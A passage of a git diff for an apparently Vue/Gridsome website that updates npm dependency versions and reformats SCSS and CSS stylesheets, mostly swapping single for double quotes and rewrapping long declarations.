"eslint-plugin-node": "^9.1.0", - "eslint-plugin-promise": "^4.2.0", - "eslint-plugin-standard": "^4.0.0", - "eslint-plugin-vue": "^5.2.0", + "eslint-plugin-node": "^11.1.0", + "eslint-plugin-promise": "^5.0.0", + "eslint-plugin-vue": "^9.0.0", "front-matter": "^4.0.2", - "fs-extra": "^10.0.0", - "gridsome-plugin-typescript": "0.4.0", - "husky": "^6.0.0", - "js-yaml": "^4.1.0", - "lint-staged": "^8.2.0", - "marked": "^4.2.5", + "gridsome-plugin-typescript": "^0.4.0", + "husky": "^8.0.0", + "js-yaml": "^3.13.1", + "lint-staged": "^14.0.0", + "marked": "^9.0.0", "rss": "^1.2.2", - "sass-loader": "10.1.1", - "style-resources-loader": "^1.4.1", - "ts-loader": "^6.0.0", - "typescript": "^3.5.0" + "sass-loader": "^10.0.0", + "style-resources-loader": "^1.5.0", + "ts-loader": "^8.0.0", + "typescript": "^5.0.0" } } diff --git a/src/assets/styles/base/_normalize.scss b/src/assets/styles/base/_normalize.scss index a997eaa..fab103a 100644 --- a/src/assets/styles/base/_normalize.scss +++ b/src/assets/styles/base/_normalize.scss @@ -211,9 +211,9 @@ select { */ button, -[type='button'], -[type='reset'], -[type='submit'] { +[type="button"], +[type="reset"], +[type="submit"] { -webkit-appearance: button; } @@ -222,9 +222,9 @@ button, */ button::-moz-focus-inner, -[type='button']::-moz-focus-inner, -[type='reset']::-moz-focus-inner, -[type='submit']::-moz-focus-inner { +[type="button"]::-moz-focus-inner, +[type="reset"]::-moz-focus-inner, +[type="submit"]::-moz-focus-inner { border-style: none; padding: 0; } @@ -234,9 +234,9 @@ button::-moz-focus-inner, */ button:-moz-focusring, -[type='button']:-moz-focusring, -[type='reset']:-moz-focusring, -[type='submit']:-moz-focusring { +[type="button"]:-moz-focusring, +[type="reset"]:-moz-focusring, +[type="submit"]:-moz-focusring { outline: 1px dotted ButtonText; } @@ -291,8 +291,8 @@ textarea { * 2. Remove the padding in IE 10. */ -[type='checkbox'], -[type='radio'] { +[type="checkbox"], +[type="radio"] { box-sizing: border-box; /* 1 */ padding: 0; @@ -303,8 +303,8 @@ textarea { * Correct the cursor style of increment and decrement buttons in Chrome. */ -[type='number']::-webkit-inner-spin-button, -[type='number']::-webkit-outer-spin-button { +[type="number"]::-webkit-inner-spin-button, +[type="number"]::-webkit-outer-spin-button { height: auto; } @@ -313,7 +313,7 @@ textarea { * 2. Correct the outline style in Safari. */ -[type='search'] { +[type="search"] { -webkit-appearance: textfield; /* 1 */ outline-offset: -2px; @@ -324,7 +324,7 @@ textarea { * Remove the inner padding in Chrome and Safari on macOS. */ -[type='search']::-webkit-search-decoration { +[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } diff --git a/src/assets/styles/base/_variables.scss b/src/assets/styles/base/_variables.scss index 57e326a..9994576 100644 --- a/src/assets/styles/base/_variables.scss +++ b/src/assets/styles/base/_variables.scss @@ -28,7 +28,7 @@ $desktop: $medium !default; $background: white !default; //$primary-color: #0366ee !default; $primary-color: #009a90 !default; -$secondary-color: #333F48 !default; +$secondary-color: #333f48 !default; $accent-color: #cdcdcd !default; $alternate-background: #fafafa !default; $alternate-color: #404040 !default; @@ -38,7 +38,7 @@ $highlight: #ffeea8 !default; $error: #d33c40 !default; $success: #29de7d !default; $bq-border: 8px solid #f0f0f0 !default; -$ctf: #41B883FF !default; +$ctf: #41b883ff !default; //============================================================================== // Typography @@ -52,14 +52,23 @@ $font-variant: normal !default; $font-weight: normal !default; $font-color: #404040 !default; //$font-family: -apple-system, BlinkMacSystemFont, Helvetica Neue, Helvetica, Arial, sans-serif !default; -$font-family: Titillium Web, Helvetica Neue, Helvetica, Arial, sans-serif !default; +$font-family: + Titillium Web, + Helvetica Neue, + Helvetica, + Arial, + sans-serif !default; $line-height: 1.6 !default; // Headings $heading-font-color: #404040 !default; $heading-font-weight: 600 !default; //$heading-font-family: -apple-system, BlinkMacSystemFont, Helvetica Neue, Helvetica, Arial, -$heading-font-family: Titillium Web, Helvetica Neue, Helvetica, Arial, +$heading-font-family: + Titillium Web, + Helvetica Neue, + Helvetica, + Arial, sans-serif !default; $heading-line-height: 1.2 !default; @@ -102,7 +111,13 @@ $button-background: $primary-color !default; $button-background-hover: darken($button-background, 10%) !default; $button-color: #ffffff !default; $button-font-weight: 600 !default; -$button-font-family: -apple-system, BlinkMacSystemFont, Helvetica Neue, Helvetica, Arial, sans-serif !default; +$button-font-family: + -apple-system, + BlinkMacSystemFont, + Helvetica Neue, + Helvetica, + Arial, + sans-serif !default; $button-font-size: 1rem !default; $button-border-width: 1px !default; $button-border-style: solid !default; @@ -131,9 +146,11 @@ $round-buttons: 40px !default; //============================================================================== $forms: ( - '[type=color], [type=date], [type=datetime], [type=datetime-local], [type=email], [type=month], [type=number], [type=password], [type=search], [type=tel], [type=text], [type=url], [type=week], [type=time], select, textarea' + "[type=color], [type=date], [type=datetime], [type=datetime-local], [type=email], [type=month], [type=number], [type=password], [type=search], [type=tel], [type=text], [type=url], [type=week], [type=time], select, textarea" +) !default; +$buttons: ( + ".button, a.button, button, [type=submit], [type=reset], [type=button]" ) !default; -$buttons: ('.button, a.button, button, [type=submit], [type=reset], [type=button]') !default; $input-background: transparent !default; $placeholder: darken($accent-color, 20%) !default; $form-border: 1px solid $border-color !default; diff --git a/src/assets/styles/components/_buttons.scss b/src/assets/styles/components/_buttons.scss index 8d3070a..6d704d4 100644 --- a/src/assets/styles/components/_buttons.scss +++ b/src/assets/styles/components/_buttons.scss @@ -25,7 +25,8 @@ // Buttons on hover %buttons-hover { - border: $button-border-width $button-border-style darken($button-border-color, 10%); + border: $button-border-width $button-border-style + darken($button-border-color, 10%); background: $button-background-hover; color: $button-color; text-decoration: none; @@ -33,7 +34,8 @@ // Buttons on focus %buttons-focus { - border: $button-border-width $button-border-style darken($button-border-color, 10%); + border: $button-border-width $button-border-style + darken($button-border-color, 10%); background: darken($button-background, 10%); color: $button-color; text-decoration: none; diff --git a/src/assets/styles/components/_forms.scss b/src/assets/styles/components/_forms.scss index 46720ae..cfedef9 100644 --- a/src/assets/styles/components/_forms.scss +++ b/src/assets/styles/components/_forms.scss @@ -25,7 +25,9 @@ // Input fields on focus %forms-focus { border: $form-border-focus; - box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1), 0 0 6px lighten($link-color, 30%); + box-shadow: + inset 0 1px 1px rgba(0, 0, 0, 0.1), + 0 0 6px lighten($link-color, 30%); } // Variable containing all input fields @@ -64,7 +66,7 @@ select { color: $font-color; -webkit-appearance: none; -moz-appearance: none; - background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAJBAMAAADN8WE8AAAAJ1BMVEUAAABHcEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB9YSk7AAAADXRSTlPXABaehSjPsTwKw2xUcKPlSQAAADtJREFUCNdjMGBgYGAWBAKGACCLFcwSAbIcwSyhBAY2RTBLcAMDtyCENYthJZQlw3AQyhIsF4SxOiAsAFMMCKPY35E7AAAAAElFTkSuQmCC) + background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAJBAMAAADN8WE8AAAAJ1BMVEUAAABHcEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB9YSk7AAAADXRSTlPXABaehSjPsTwKw2xUcKPlSQAAADtJREFUCNdjMGBgYGAWBAKGACCLFcwSAbIcwSyhBAY2RTBLcAMDtyCENYthJZQlw3AQyhIsF4SxOiAsAFMMCKPY35E7AAAAAElFTkSuQmCC) right center no-repeat; line-height: 1; // ensures text doesn't get cut off } @@ -74,7 +76,7 @@ select::-ms-expand { } // Make range full width -[type='range'] { +[type="range"] { width: 100%; } @@ -103,12 +105,16 @@ select, textarea { &.has-error { border: 1px solid $error; - box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1), 0 0 6px lighten($error, 35%); + box-shadow: + inset 0 1px 1px rgba(0, 0, 0, 0.1), + 0 0 6px lighten($error, 35%); } &.is-success { border: 1px solid $success; - box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1), 0 0 6px lighten($success, 25%); + box-shadow: + inset 0 1px 1px rgba(0, 0, 0, 0.1), + 0 0 6px lighten($success, 25%); } &:hover, diff --git a/src/assets/styles/components/_helpers.scss b/src/assets/styles/components/_helpers.scss index e467358..2cfea25 100644 --- a/src/assets/styles/components/_helpers.scss +++ b/src/assets/styles/components/_helpers.scss @@ -5,7 +5,7 @@ // Classic clearfix .clearfix::before, .clearfix::after { - content: ' '; + content: " "; display: block; } diff --git a/src/assets/styles/components/_scaffolding.scss b/src/assets/styles/components/_scaffolding.scss index 377b776..a18dbf4 100644 --- a/src/assets/styles/components/_scaffolding.scss +++ b/src/assets/styles/components/_scaffolding.scss @@ -6,7 +6,8 @@ html { -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; - font: $font-style $font-variant $font-weight #{$font-size}/#{$line-height} $font-family; + font: $font-style $font-variant $font-weight #{$font-size}/#{$line-height} + $font-family; font-size: $font-size; } @@ -166,7 +167,9 @@ kbd { background-color: #f7f7f7; border: 1px solid #ccc; border-radius: 3px; - box-shadow: 0 1px 0 rgba(0, 0, 0, 0.2), 0 0 0 2px #fff inset; + box-shadow: + 0 1px 0 rgba(0, 0, 0, 0.2), + 0 0 0 2px #fff inset; color: #333; display: inline-block; font-family: Helvetica, Arial, sans-serif; diff --git a/src/assets/styles/global.css b/src/assets/styles/global.css index 119734e..5a2808a 100644 --- a/src/assets/styles/global.css +++ b/src/assets/styles/global.css @@ -1,7 +1,7 @@ body { font-family: Helvetica, Verdana, sans-serif; - padding:0; - margin:0; + padding: 0; + margin: 0; } a { diff --git a/src/assets/styles/main.scss b/src/assets/styles/main.scss index b8a7c03..9051f9a 100644 --- a/src/assets/styles/main.scss +++ b/src/assets/styles/main.scss @@ -10,31 +10,31 @@ */ // external -@import url('https://fonts.googleapis.com/css2?family=Titillium+Web:wght@400;600&display=swap'); +@import url("https://fonts.googleapis.com/css2?family=Titillium+Web:wght@400;600&display=swap"); //============================================================================== // Configuration //============================================================================== -@import 'base/variables'; -@import 'base/mixins'; +@import "base/variables"; +@import "base/mixins"; //============================================================================== // Reset //============================================================================== -@import 'base/normalize'; -@import 'base/reset'; +@import "base/normalize"; +@import "base/reset"; //============================================================================== // Components //============================================================================== -@import 'components/scaffolding'; -@import 'components/grid'; -@import 'components/helpers'; -@import 'components/buttons'; -@import 'components/forms'; -@import 'components/tables'; -@import 'components/navigation'; -@import 'components/layout'; +@import "components/scaffolding"; +@import "components/grid"; +@import "components/helpers"; +@import "components/buttons"; +@import "components/forms"; +@import "components/tables"; +@import "components/navigation"; +@import "components/layout"; diff --git a/src/components/BlogCard.vue b/src/components/BlogCard.vue index b788720..7822843 100644 --- a/src/components/BlogCard.vue +++ b/src/components/BlogCard.vue @@ -1,10 +1,6 @@ diff --git a/src/components/ContributorTag.vue b/src/components/ContributorTag.vue index 0e461cf..1bf62c8 100644 --- a/src/components/ContributorTag.vue +++ b/src/components/ContributorTag.vue @@ -1,15 +1,21 @@ diff --git a/src/components/EventCard.vue b/src/components/EventCard.vue index c229182..651dc3a 100644 --- a/src/components/EventCard.vue +++ b/src/components/EventCard.vue @@ -1,24 +1,27 @@ + + - - diff --git a/src/pages/Blog.vue b/src/pages/Blog.vue index 4433cf6..6ff26d6 100644 --- a/src/pages/Blog.vue +++ b/src/pages/Blog.vue @@ -1,13 +1,12 @@